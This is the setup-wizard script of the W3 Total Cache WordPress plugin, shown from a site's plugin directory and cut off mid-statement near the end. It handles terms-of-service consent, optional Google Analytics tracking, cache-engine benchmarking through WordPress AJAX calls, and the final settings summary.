PATH:
home
/
thecwrif
/
public_html
/
wp-content
/
plugins
/
w3-total-cache
/
pub
/
js
/** * File: setup-guide.js * * JavaScript for the Setup Guide page. * * @since 2.0.0 * * @global W3TC-setup-guide Localized array variable. */ var w3tc_enable_ga = ( 'accept' === W3TC_SetupGuide.tos_choice && W3TC_SetupGuide.track_usage && window.w3tc_ga ); jQuery(function() { var $container = jQuery( '#w3tc-wizard-container'), $nextButton = $container.find( '#w3tc-wizard-next '), $tosNotice = $container.find( '#w3tc-licensing-terms' ); // GA. if ( w3tc_enable_ga ) { w3tc_ga( 'event', 'button', { eventCategory: 'w3tc_setup_guide', eventLabel: 'w3tc-wizard-step-welcome' } ); } // Handle the terms of service notice. if ( $tosNotice.length ) { $nextButton.prop( 'disabled', true ); $container.find( '.dashicons-yes' ).hide(); $tosNotice.find( '.button' ).on( 'click', function() { var $this = jQuery( this ), choice = $this.data( 'choice' ); jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: $container.find( '[name="_wpnonce"]' ).val(), action: "w3tc_tos_choice", choice: choice } }) .done(function( response ) { $tosNotice.hide(); $nextButton.prop( 'disabled', false ); $container.find( '#w3tc-welcome' ).show(); $container.find( '.dashicons-yes' ).show(); }) .fail(function() { $this.text( 'Error with Ajax; reloading page...' ); location.reload(); }); if ( 'accept' === choice ) { W3TC_SetupGuide.tos_choice = choice; var gaScript = document.createElement( 'script' ); gaScript.type = 'text/javascript'; gaScript.setAttribute( 'async', 'true' ); gaScript.setAttribute( 'src', 'https://www.googletagmanager.com/gtag/js?id=' + W3TC_SetupGuide.ga_profile ); document.documentElement.firstChild.appendChild( gaScript ); window.dataLayer = window.dataLayer || []; const w3tc_ga = function() { dataLayer.push( arguments ); } if (window.w3tc_ga) { w3tc_enable_ga = true; w3tc_ga( 'js', new Date() ); w3tc_ga( 'config', W3TC_SetupGuide.ga_profile, { 'user_properties': { 'plugin': 'w3-total-cache', 'w3tc_version': W3TC_SetupGuide.w3tc_version, 'wp_version': W3TC_SetupGuide.wp_version, 'php_version': W3TC_SetupGuide.php_version, 'server_software': W3TC_SetupGuide.server_software, 'wpdb_version': W3TC_SetupGuide.db_version, 'home_url': W3TC_SetupGuide.home_url_host, 'w3tc_install_version': W3TC_SetupGuide.install_version, 'w3tc_edition': W3TC_SetupGuide.w3tc_edition, 'w3tc_widgets': W3TC_SetupGuide.list_widgets, 'page': W3TC_SetupGuide.page } }); } } }); } }); jQuery( '#w3tc-wizard-step-welcome' ) .addClass( 'is-active' ) .append( '<span class="dashicons dashicons-yes"></span>' ); /** * Wizard actions. * * @since 2.0.0 * * @param object $slide The div of the slide displayed. */ function w3tc_wizard_actions( $slide ) { var configSuccess = false, pgcacheSettings = { enabled: null, engine: null }, dbcacheSettings = { enabled: null, engine: null }, objcacheSettings = { enabled: null, engine: null }, browsercacheSettings = { enabled: null }, imageserviceSettings = { enabled: null }, lazyloadSettings = { enabled: null }, slideId = $slide.prop( 'id' ), $container = jQuery( '#w3tc-wizard-container' ), nonce = $container.find( '[name="_wpnonce"]' ).val(), $nextButton = $container.find( '#w3tc-wizard-next' ), $prevButton = $container.find( '#w3tc-wizard-previous' ), $skipButton = $container.find( '#w3tc-wizard-skip' ), $dashboardButton = $container.find( '#w3tc-wizard-dashboard' ); /** * Configure Page Cache. * * @since 2.0.0 * * @param int enable Enable Page Cache. * @param string engine Page Cache storage engine. * @return jqXHR */ function configPgcache( enable, engine = '' ) { var $jqXHR = jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_config_pgcache', enable: enable, engine: engine } }); configSuccess = null; $jqXHR.done(function( response ) { configSuccess = response.data.success; }); return $jqXHR; } /** * Get Page Cache settings. * * @since 2.0.0 * * @return jqXHR */ function getPgcacheSettings() { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_get_pgcache_settings' } }) .done(function( response ) { pgcacheSettings = response.data; }); } /** * Configure Database Cache. * * @since 2.0.0 * * @param int enable Enable database cache. * @param string engine Database cache storage engine. * @return jqXHR */ function configDbcache( enable, engine = '' ) { var $jqXHR = jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_config_dbcache', enable: enable, engine: engine } }); configSuccess = null; $jqXHR.done(function( response ) { configSuccess = response.data.success; }); return $jqXHR; } /** * Get Database Cache settings. * * @since 2.0.0 * * @return jqXHR */ function getDbcacheSettings() { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_get_dbcache_settings' } }) .done(function( response ) { dbcacheSettings = response.data; }); } /** * Configure Object Cache. * * @since 2.0.0 * * @param int enable Enable cache. * @param string engine Cache storage engine. * @return jqXHR */ function configObjcache( enable, engine = '' ) { var $jqXHR = jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_config_objcache', enable: enable, engine: engine } }); configSuccess = null; $jqXHR.done(function( response ) { configSuccess = response.data.success; }); return $jqXHR; } /** * Get Object Cache settings. * * @since 2.0.0 * * @return jqXHR */ function getObjcacheSettings() { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_get_objcache_settings' } }) .done(function( response ) { objcacheSettings = response.data; }); } /** * Configure Browser Cache. * * @since 2.0.0 * * @param int enable Enable browser cache. * @return jqXHR */ function configBrowsercache( enable ) { configSuccess = null; return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_config_browsercache', enable: enable } }) .done(function( response ) { configSuccess = response.data.success; }); } /** * Get Browser Cache settings. * * @since 2.0.0 * * @return jqXHR */ function getBrowsercacheSettings() { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_get_browsercache_settings' } }) .done(function( response ) { browsercacheSettings = response.data; }); } /** * Configure Image Service. * * @since 2.3.4 * * @param int enable Enable browser cache. * @return jqXHR */ function configImageservice( enable ) { configSuccess = null; return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_config_imageservice', enable: enable } }) .done(function( response ) { configSuccess = response.data.success; }); } /** * Get Image Service settings. * * @since 2.3.4 * * @return jqXHR */ function getImageserviceSettings() { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_get_imageservice_settings' } }) .done(function( response ) { imageserviceSettings = response.data; }); } /** * Configure Lazy Load. * * @since 2.0.0 * * @param int enable Enable lazyload. * @return jqXHR */ function configLazyload( enable ) { configSuccess = null; return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_config_lazyload', enable: enable } }) .done(function( response ) { configSuccess = response.data.success; }); } /** * Get Lazt Load settings. * * @since 2.0.0 * * @return jqXHR */ function getLazyloadSettings() { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_get_lazyload_settings' } }) .done(function( response ) { lazyloadSettings = response.data; }); } /** * Configuration failed. * * @since 2.0.0 */ function configFailed() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); $nextButton.closest( 'span' ).hide(); $prevButton.closest( 'span' ).hide(); $skipButton.closest( 'span' ).show(); } /** * Test failed. * * @since 2.0.0 */ function testFailed() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); $nextButton.closest( 'span' ).hide(); $prevButton.closest( 'span' ).hide(); $skipButton.closest( 'span' ).show(); } // GA. if ( w3tc_enable_ga ) { w3tc_ga( 'event', 'button', { eventCategory: 'w3tc_setup_guide', eventLabel: slideId } ); } switch ( slideId ) { case 'w3tc-wizard-slide-welcome': $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-wizard-step-welcome' ).addClass( 'is-active' ); break; case 'w3tc-wizard-slide-pc1': // Test Page Cache. $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-wizard-step-pgcache' ).addClass( 'is-active' ); if ( ! $container.find( '#test-results' ).data( 'pgcache-none' ) ) { $nextButton.prop( 'disabled', 'disabled' ); } $slide.find( '#w3tc-test-pgcache' ).off('click').on('click', function () { var $spinnerParent = $slide.find( '.spinner' ).addClass( 'is-active' ).parent(), $this = jQuery( this ); $this.prop( 'disabled', 'disabled' ); $slide.find( '.notice-error' ).remove(); $container.find( '#w3tc-pgcache-table tbody' ).empty(); $prevButton.prop( 'disabled', 'disabled' ); $nextButton.prop( 'disabled', 'disabled' ); $spinnerParent.show(); /** * Add a test result table row. * * @since 2.0.0 * * @param object testResponse Data. * @param string engine Cache storage engine. * @param string label Text label for the engine. */ function addResultRow( testResponse, engine, label ) { var baseline, results = '<tr', percentChange, changeLabelType, changeLabel, isCurrentSetting = ( ! pgcacheSettings.enabled && 'none' === engine ) || ( pgcacheSettings.enabled && pgcacheSettings.engine === engine ); if ( ! configSuccess ) { results += ' class="w3tc-option-disabled"'; } results += '><td><input type="radio" id="pgcache-engine-' + engine + '" name="pgcache_engine" value="' + engine + '"'; if ( ! configSuccess ) { results += ' disabled="disabled"'; } if ( isCurrentSetting ) { results += ' checked'; } if ( configSuccess && 'file_generic' === engine ) { label += '<br /><span class="w3tc-option-recommended">(Recommended)</span>'; } results += '>'; if ( isCurrentSetting ) { results += '<span class="dashicons dashicons-admin-settings" title="Current setting"></span>'; } results += '</td><td><label for="pgcache-engine-' + engine + '">' + label + '</label></td><td>'; if ( testResponse.success ) { results += ( testResponse.data.ttfb * 1000 ).toFixed( 2 ); if ( 'none' !== engine ) { baseline = $container.find( '#test-results' ).data( 'pgcache-none' ).ttfb; percentChange = ( ( testResponse.data.ttfb - baseline ) / baseline * 100 ).toFixed( 2 ); changeLabelType = percentChange < 0 ? 'w3tc-label-success' : 'w3tc-label-danger'; changeLabel = '<span class="w3tc-label ' + changeLabelType + '">' + percentChange + '%</span>'; $container.find( '#test-results' ).data( 'pgcacheDiffPercent-' + engine, percentChange ); results += ' ' + changeLabel; } } else { results += W3TC_SetupGuide.unavailable_text; } results += '</td></tr>'; $container.find( '#w3tc-pgcache-table tbody' ).append( results ); $container.find( '#w3tc-pgcache-table' ).show(); } /** * Test Page Cache. * * @since 2.0.0 * * @param string engine Cache storage engine. * @param string label Text label for the engine. * @return jqXHR */ function testPgcache( engine, label ) { if ( configSuccess ) { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_test_pgcache' } }) .done(function( testResponse ) { $container.find( '#test-results' ).data( 'pgcache-' + engine, testResponse.data ); addResultRow( testResponse, engine, label ); }); } else { addResultRow( [ success => false ], engine, label ); } } // Run config and tests. getPgcacheSettings() .then( function() { return configPgcache( 0 ); }, configFailed ) .then( function() { return testPgcache( 'none', W3TC_SetupGuide.none ); }, configFailed ) .then( function() { return configPgcache( 1, 'file' ); } , testFailed ) .then( function() { return testPgcache( 'file', W3TC_SetupGuide.disk_basic ); }, configFailed ) .then( function() { return configPgcache( 1, 'file_generic' ); } , testFailed ) .then( function() { return testPgcache( 'file_generic', W3TC_SetupGuide.disk_enhanced ); }, configFailed ) .then( function() { return configPgcache( 1, 'redis' ); }, testFailed ) .then( function() { return testPgcache( 'redis', 'Redis' ); }, configFailed ) .then( function() { return configPgcache( 1, 'memcached' ); }, testFailed ) .then( function() { return testPgcache( 'memcached', 'Memcached' ); }, configFailed ) .then( function() { return configPgcache( 1, 'apc' ); }, testFailed ) .then( function() { return testPgcache( 'apc', 'APC' ); }, configFailed ) .then( function() { return configPgcache( 1, 'eaccelerator' ); }, testFailed ) .then( function() { return testPgcache( 'eaccelerator', 'eAccelerator' ); }, configFailed ) .then( function() { return configPgcache( 1, 'xcache' ); }, testFailed ) .then( function() { return testPgcache( 'xcache', 'XCache' ); }, configFailed ) .then( function() { return configPgcache( 1, 'wincache' ); }, testFailed ) .then( function() { return testPgcache( 'wincache', 'WinCache' ); }, configFailed ) .then(function() { $spinnerParent.hide(); $this.prop( 'disabled', false ); $prevButton.prop( 'disabled', false ); $nextButton.prop( 'disabled', false ); return true; }, testFailed ) // Restore the original database cache settings. .then( function() { return configPgcache( ( pgcacheSettings.enabled ? 1 : 0 ), pgcacheSettings.engine ); }, function() { $spinnerParent.hide(); return configFailed(); }); }); break; case 'w3tc-wizard-slide-dbc1': // Save the page cache engine setting from the previous slide. var pgcacheEngine = $container.find( 'input:checked[name="pgcache_engine"]' ).val(); configPgcache( ( 'none' === pgcacheEngine ? 0 : 1 ), 'none' === pgcacheEngine ? '' : pgcacheEngine ) .fail( function() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); }); if ( ! jQuery( '#w3tc-wizard-step-pgcache .dashicons-yes' ).length ) { jQuery( '#w3tc-wizard-step-pgcache' ).append( '<span class="dashicons dashicons-yes"></span>' ); } // Present the Database Cache slide. $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-wizard-step-dbcache' ).addClass( 'is-active' ); if ( ! $container.find( '#test-results' ).data( 'dbc-none' ) ) { $nextButton.prop( 'disabled', 'disabled' ); } $slide.find( '#w3tc-test-dbcache' ).off('click').on('click', function () { var $spinnerParent = $slide.find( '.spinner' ).addClass( 'is-active' ).parent(), $this = jQuery( this ); $this.prop( 'disabled', 'disabled' ); $slide.find( '.notice-error' ).remove(); $container.find( '#w3tc-dbc-table tbody' ).empty(); $container.find( '#w3tc-dbcache-recommended' ).hide(); $prevButton.prop( 'disabled', 'disabled' ); $nextButton.prop( 'disabled', 'disabled' ); $spinnerParent.show(); /** * Add a test result table row. * * @since 2.0.0 * * @param object testResponse Data. * @param string engine Cache storage engine. * @param string label Text label for the engine. */ function addResultRow( testResponse, engine, label ) { var baseline, results = '<tr', percentChange, changeLabelType, changeLabel, isCurrentSetting = ( ! dbcacheSettings.enabled && 'none' === engine ) || ( dbcacheSettings.enabled && dbcacheSettings.engine === engine ); if ( ! configSuccess ) { results += ' class="w3tc-option-disabled"'; } results += '><td><input type="radio" id="dbcache-engine-' + engine + '" name="dbcache_engine" value="' + engine + '"'; if ( ! configSuccess ) { results += ' disabled="disabled"'; } if ( isCurrentSetting ) { results += ' checked'; } results += '>'; if ( isCurrentSetting ) { results += '<span class="dashicons dashicons-admin-settings" title="Current setting"></span>'; } results += '</td><td><label for="dbcache-engine-' + engine + '">' + label + '</label></td><td>'; if ( testResponse.success ) { results += ( testResponse.data.elapsed * 1000 ).toFixed( 2 ); if ( 'none' !== engine ) { baseline = $container.find( '#test-results' ).data( 'dbc-none' ).elapsed; percentChange = ( ( testResponse.data.elapsed - baseline ) / baseline * 100 ).toFixed( 2 ); changeLabelType = percentChange < 0 ? 'w3tc-label-success' : 'w3tc-label-danger'; changeLabel = '<span class="w3tc-label ' + changeLabelType + '">'+ percentChange + '%</span>'; results += ' ' + changeLabel; } } else { results += W3TC_SetupGuide.unavailable_text; } results += '</td></tr>'; $container.find( '#w3tc-dbc-table tbody' ).append( results ); $container.find( '#w3tc-dbc-table' ).show(); } /** * Test database cache. * * @since 2.0.0 * * @param string engine Cache storage engine. * @param string label Text label for the engine. * @return jqXHR */ function testDbcache( engine, label ) { if ( configSuccess ) { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_test_dbcache' } }) .done(function( testResponse ) { $container.find( '#test-results' ).data( 'dbc-' + engine, testResponse.data ); addResultRow( testResponse, engine, label ); }); } else { addResultRow( [ success => false ], engine, label ); } } // Run config and tests. getDbcacheSettings() .then( function() { return configDbcache( 0 ); }, configFailed ) .then( function() { return testDbcache( 'none', W3TC_SetupGuide.none ); }, configFailed ) .then( function() { return configDbcache( 1, 'file' ); } , testFailed ) .then( function() { return testDbcache( 'file', W3TC_SetupGuide.disk ); }, configFailed ) .then( function() { return configDbcache( 1, 'redis' ); }, testFailed ) .then( function() { return testDbcache( 'redis', 'Redis' ); }, configFailed ) .then( function() { return configDbcache( 1, 'memcached' ); }, testFailed ) .then( function() { return testDbcache( 'memcached', 'Memcached' ); }, configFailed ) .then( function() { return configDbcache( 1, 'apc' ); }, testFailed ) .then( function() { return testDbcache( 'apc', 'APC' ); }, configFailed ) .then( function() { return configDbcache( 1, 'eaccelerator' ); }, testFailed ) .then( function() { return testDbcache( 'eaccelerator', 'eAccelerator' ); }, configFailed ) .then( function() { return configDbcache( 1, 'xcache' ); }, testFailed ) .then( function() { return testDbcache( 'xcache', 'XCache' ); }, configFailed ) .then( function() { return configDbcache( 1, 'wincache' ); }, testFailed ) .then( function() { return testDbcache( 'wincache', 'WinCache' ); }, configFailed ) .then(function() { $spinnerParent.hide(); $this.prop( 'disabled', false ); $prevButton.prop( 'disabled', false ); $nextButton.prop( 'disabled', false ); return true; }, testFailed ) .then( function() { $container.find( '#w3tc-dbcache-recommended' ).show(); // Restore the original database cache settings. return configDbcache( ( dbcacheSettings.enabled ? 1 : 0 ), dbcacheSettings.engine ); }, function() { $spinnerParent.hide(); return configFailed(); }); }); break; case 'w3tc-wizard-slide-oc1': // Save the database cache engine setting from the previous slide. var dbcEngine = $container.find( 'input:checked[name="dbcache_engine"]' ).val(); configDbcache( ( 'none' === dbcEngine ? 0 : 1 ), 'none' === dbcEngine ? '' : dbcEngine ) .fail( function() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); }); if ( ! jQuery( '#w3tc-wizard-step-dbcache .dashicons-yes' ).length ) { jQuery( '#w3tc-wizard-step-dbcache' ).append( '<span class="dashicons dashicons-yes"></span>' ); } // Present the Object Cache slide. $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-wizard-step-objectcache' ).addClass( 'is-active' ); if ( ! $container.find( '#test-results' ).data( 'oc-none' ) && ! W3TC_SetupGuide.objcache_disabled ) { $nextButton.prop( 'disabled', 'disabled' ); } $slide.find( '#w3tc-test-objcache' ).off('click').on('click', function () { var $spinnerParent = $slide.find( '.spinner' ).addClass( 'is-active' ).parent(), $this = jQuery( this ); $this.prop( 'disabled', 'disabled' ); $slide.find( '.notice-error' ).remove(); $container.find( '#w3tc-objcache-table tbody' ).empty(); $prevButton.prop( 'disabled', 'disabled' ); $nextButton.prop( 'disabled', 'disabled' ); $spinnerParent.show(); /** * Add a test result table row. * * @since 2.0.0 * * @param object testResponse Data. * @param string engine Cache storage engine. * @param string label Text label for the engine. */ function addResultRow( testResponse, engine, label ) { var baseline, results = '<tr', percentChange, changeLabelType, changeLabel, isCurrentSetting = ( ! objcacheSettings.enabled && 'none' === engine ) || ( objcacheSettings.enabled && objcacheSettings.engine === engine ); if ( ! configSuccess ) { results += ' class="w3tc-option-disabled"'; } results += '><td><input type="radio" id="objcache-engine-' + engine + '" name="objcache_engine" value="' + engine + '"'; if ( ! configSuccess ) { results += ' disabled="disabled"'; } if ( isCurrentSetting ) { results += ' checked'; } results += '>'; if ( isCurrentSetting ) { results += '<span class="dashicons dashicons-admin-settings" title="Current setting"></span>'; } results += '</td><td><label for="objcache-engine-' + engine + '">' + label + '</label></td><td>'; if ( testResponse.success ) { results += ( testResponse.data.elapsed * 1000 ).toFixed( 2 ); if ( 'none' !== engine ) { baseline = $container.find( '#test-results' ).data( 'oc-none' ).elapsed; percentChange = ( ( testResponse.data.elapsed - baseline ) / baseline * 100 ).toFixed( 2 ); changeLabelType = percentChange < 0 ? 'w3tc-label-success' : 'w3tc-label-danger'; changeLabel = '<span class="w3tc-label ' + changeLabelType + '">' + percentChange + '%</span>'; results += ' ' + changeLabel; } } else { results += W3TC_SetupGuide.unavailable_text; } results += '</td></tr>'; $container.find( '#w3tc-objcache-table tbody' ).append( results ); $container.find( '#w3tc-objcache-table' ).show(); } /** * Test object cache cache. * * @since 2.0.0 * * @param string engine Cache storage engine. * @param string label Text label for the engine. * @return jqXHR */ function testObjcache( engine, label ) { if ( configSuccess ) { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_test_objcache' } }) .done(function( testResponse ) { $container.find( '#test-results' ).data( 'oc-' + engine, testResponse.data ); addResultRow( testResponse, engine, label ); }); } else { addResultRow( [ success => false ], engine, label ); } } // Run config and tests. getObjcacheSettings() .then( function() { return configObjcache( 0 ); }, configFailed ) .then( function() { return testObjcache( 'none', W3TC_SetupGuide.none ); }, configFailed ) .then( function() { return configObjcache( 1, 'file' ); } , testFailed ) .then( function() { return testObjcache( 'file', W3TC_SetupGuide.disk ); }, configFailed ) .then( function() { return configObjcache( 1, 'redis' ); }, testFailed ) .then( function() { return testObjcache( 'redis', 'Redis' ); }, configFailed ) .then( function() { return configObjcache( 1, 'memcached' ); }, testFailed ) .then( function() { return testObjcache( 'memcached', 'Memcached' ); }, configFailed ) .then( function() { return configObjcache( 1, 'apc' ); }, testFailed ) .then( function() { return testObjcache( 'apc', 'APC' ); }, configFailed ) .then( function() { return configObjcache( 1, 'eaccelerator' ); }, testFailed ) .then( function() { return testObjcache( 'eaccelerator', 'eAccelerator' ); }, configFailed ) .then( function() { return configObjcache( 1, 'xcache' ); }, testFailed ) .then( function() { return testObjcache( 'xcache', 'XCache' ); }, configFailed ) .then( function() { return configObjcache( 1, 'wincache' ); }, testFailed ) .then( function() { return testObjcache( 'wincache', 'WinCache' ); }, configFailed ) .then(function() { $spinnerParent.hide(); $this.prop( 'disabled', false ); $prevButton.prop( 'disabled', false ); $nextButton.prop( 'disabled', false ); return true; }, testFailed ) // Restore the original object cache settings. .then( function() { return configObjcache( ( objcacheSettings.enabled ? 1 : 0 ), objcacheSettings.engine ); }, function() { $spinnerParent.hide(); return configFailed(); }); }); break; case 'w3tc-wizard-slide-bc1': // Save the object cache engine setting from the previous slide. var objcacheEngine = $container.find( 'input:checked[name="objcache_engine"]' ).val(); configObjcache( ( 'none' === objcacheEngine ? 0 : 1 ), 'none' === objcacheEngine ? '' : objcacheEngine ) .fail( function() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); }); if ( ! jQuery( '#w3tc-wizard-step-objectcache .dashicons-yes' ).length ) { jQuery( '#w3tc-wizard-step-objectcache' ).append( '<span class="dashicons dashicons-yes"></span>' ); } // Present the Browser Cache slide. $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-wizard-step-browsercache' ).addClass( 'is-active' ); if ( ! $container.find( '#test-results' ).data( 'bc-off' ) ) { $nextButton.prop( 'disabled', 'disabled' ); } $slide.find( '#w3tc-test-browsercache' ).off('click').on('click', function () { var bcEnabled, $spinnerParent = $slide.find( '.spinner' ).addClass( 'is-active' ).parent(), $this = jQuery( this ); $this.prop( 'disabled', 'disabled' ); $slide.find( '.notice-error' ).remove(); $container.find( '#w3tc-browsercache-table tbody' ).empty(); $prevButton.prop( 'disabled', 'disabled' ); $nextButton.prop( 'disabled', 'disabled' ); $spinnerParent.show(); /** * Add a Browser Cache test result table row. * * @since 2.0.0 * * @param object testResponse An object (success, data) containing a data array of objects * (url, filename, header, headers). */ function addResultRow( testResponse ) { var label = bcEnabled ? W3TC_SetupGuide.enabled : W3TC_SetupGuide.notEnabled, results = '<tr', isCurrentSetting = bcEnabled == browsercacheSettings.enabled; if ( ! configSuccess ) { results += ' class="w3tc-option-disabled"'; } results += '><td><input type="radio" id="browsercache-enable-' + label + '" name="browsercache_enable" value="' + bcEnabled + '"'; if ( ! configSuccess ) { results += ' disabled="disabled"'; } if ( isCurrentSetting ) { results += ' checked'; } results += '> <label for="browsercache-enable-' + label + '">' + label + '</label>'; if ( isCurrentSetting ) { results += ' <span class="dashicons dashicons-admin-settings" title="Current setting"></span>'; } results += '</td>'; if ( testResponse.success ) { results += '<td>'; testResponse.data.forEach( function( item, index ) { results += '<a href="' + item.url + '">' + item.filename + '</a></td><td>' + item.header + '</td></tr>'; // If not the last entry, then start the next row. if ( index !== ( testResponse.data.length - 1 ) ) { results += '<tr><td></td><td>'; } } ); } else { results = '<td colspan="2">' + W3TC_SetupGuide.test_error_msg + '</td></tr>'; } $container.find( '#w3tc-browsercache-table > tbody' ).append( results ); $container.find( '#w3tc-browsercache-table' ).show(); } /** * Test browser cache. * * @since 2.0.0 * * @return jqXHR */ function testBrowsercache() { if ( configSuccess ) { return jQuery.ajax({ method: 'POST', url: ajaxurl, data: { _wpnonce: nonce, action: 'w3tc_test_browsercache' } }) .done(function( testResponse ) { var enabled = bcEnabled ? 'on' : 'off'; $container.find( '#test-results' ).data( 'bc-' + enabled, testResponse.data ); addResultRow( testResponse ); }); } else { addResultRow( [ success => false ] ); } } // Run config and tests. getBrowsercacheSettings() .then( function() { bcEnabled = 0; return configBrowsercache( bcEnabled ); }, configFailed ) .then( testBrowsercache, configFailed ) .then( function() { bcEnabled = 1; return configBrowsercache( bcEnabled ); } , testFailed ) .then( testBrowsercache, configFailed ) .then(function() { $spinnerParent.hide(); $this.prop( 'disabled', false ); $prevButton.prop( 'disabled', false ); $nextButton.prop( 'disabled', false ); return true; }, testFailed ) // Restore the original browser cache settings. .then( function() { return configBrowsercache( ( browsercacheSettings.enabled ? 1 : 0 ) ); }, function() { $spinnerParent.hide(); return configFailed(); }); }); break; case 'w3tc-wizard-slide-io1': // Save the browser cache setting from the previous slide. var browsercacheEnabled = $container.find( 'input:checked[name="browsercache_enable"]' ).val(); configBrowsercache( ( '1' === browsercacheEnabled ? 1 : 0 ) ) .fail( function() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); }); if ( ! jQuery( '#w3tc-wizard-step-browsercache .dashicons-yes' ).length ) { jQuery( '#w3tc-wizard-step-browsercache' ).append( '<span class="dashicons dashicons-yes"></span>' ); } // Present the Image Service slide. $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-wizard-step-imageservice' ).addClass( 'is-active' ); $dashboardButton.closest( 'span' ).hide(); $nextButton.closest( 'span' ).show(); $nextButton.prop( 'disabled', 'disabled' ); // Update the Image Service enable chackbox from saved config. getImageserviceSettings() .then( function() { $container.find( 'input#imageservice-enable' ).prop( 'checked', imageserviceSettings.enabled ); $nextButton.prop( 'disabled', false ); }, configFailed ); break; case 'w3tc-wizard-slide-ll1': // Save the image service setting from the previous slide. var imageserviceEnabled = $container.find( 'input:checked#imageservice-enable' ).val(); configImageservice( ( '1' === imageserviceEnabled ? 1 : 0 ) ) .fail( function() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); }); if ( ! jQuery( '#w3tc-wizard-step-imageservice .dashicons-yes' ).length ) { jQuery( '#w3tc-wizard-step-imageservice' ).append( '<span class="dashicons dashicons-yes"></span>' ); } // Present the Lazy Load slide. $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-wizard-step-lazyload' ).addClass( 'is-active' ); $dashboardButton.closest( 'span' ).hide(); $nextButton.closest( 'span' ).show(); $nextButton.prop( 'disabled', 'disabled' ); // Update the lazy load enable chackbox from saved config. getLazyloadSettings() .then( function() { $container.find( 'input#lazyload-enable' ).prop( 'checked', lazyloadSettings.enabled ); $nextButton.prop( 'disabled', false ); }, configFailed ); break; case 'w3tc-wizard-slide-complete': var html, pgcacheEngine = $container.find( 'input:checked[name="pgcache_engine"]' ).val(), pgcacheEngineLabel = $container.find( 'input:checked[name="pgcache_engine"]' ) .closest('td').next('td').text(), pgcacheDiffPercent = $container.find( '#test-results' ) .data( 'pgcacheDiffPercent-' + pgcacheEngine ), dbcacheEngine = $container.find( 'input:checked[name="dbcache_engine"]' ).val(), dbcacheEngineLabel = $container.find( 'input:checked[name="dbcache_engine"]' ) .closest('td').next('td').text(), objcacheEngine = $container.find( 'input:checked[name="objcache_engine"]' ).val(), objcacheEngineLabel = $container.find( 'input:checked[name="objcache_engine"]' ) .closest('td').next('td').text(), browsercacheEnabled = $container.find( 'input:checked[name="browsercache_enable"]' ).val(), imageserviceEnabled = $container.find( 'input#imageservice-enable' ).val(), lazyloadEnabled = $container.find( 'input:checked#lazyload-enable' ).val(); // Save the lazy load setting from the previous slide. configLazyload( ( '1' === lazyloadEnabled ? 1 : 0 ) ) .fail( function() { $slide.append( '<div class="notice notice-error"><p><strong>' + W3TC_SetupGuide.config_error_msg + '</strong></p></div>' ); }); if ( ! jQuery( '#w3tc-wizard-step-lazyload .dashicons-yes' ).length ) { jQuery( '#w3tc-wizard-step-lazyload' ).append( '<span class="dashicons dashicons-yes"></span>' ); } // Prevent leave page alert. jQuery( window ).off( 'beforeunload' ); // Present the Setup Complete slide. $container.find( '#w3tc-options-menu li' ).removeClass( 'is-active' ); $container.find( '#w3tc-options-menu li' ).last().addClass( 'is-active' ); html = pgcacheDiffPercent !== undefined ? ( pgcacheDiffPercent > 0 ? '+' : '' ) + parseFloat( pgcacheDiffPercent ).toFixed( 2 ) + '%' : '0.00%'; $container.find( '#w3tc-ttfb-diff' ).html( html ); $container.find( '#w3tc-pgcache-engine' ).html( pgcacheEngineLabel ); $container.find( '#w3tc-dbcache-engine' ).html( dbcacheEngineLabel ); $container.find( '#w3tc-objcache-engine' ).html( objcacheEngineLabel ); $container.find( '#w3tc-browsercache-setting' ).html( browsercacheEnabled ? W3TC_SetupGuide.enabled : W3TC_SetupGuide.none ); $container.find( '#w3tc-imageservice-setting' ).html( imageserviceEnabled ? W3TC_SetupGuide.enabled : W3TC_SetupGuide.notEnabled ); $container.find( '#w3tc-lazyload-setting' ).html( lazyloadEnabled ? 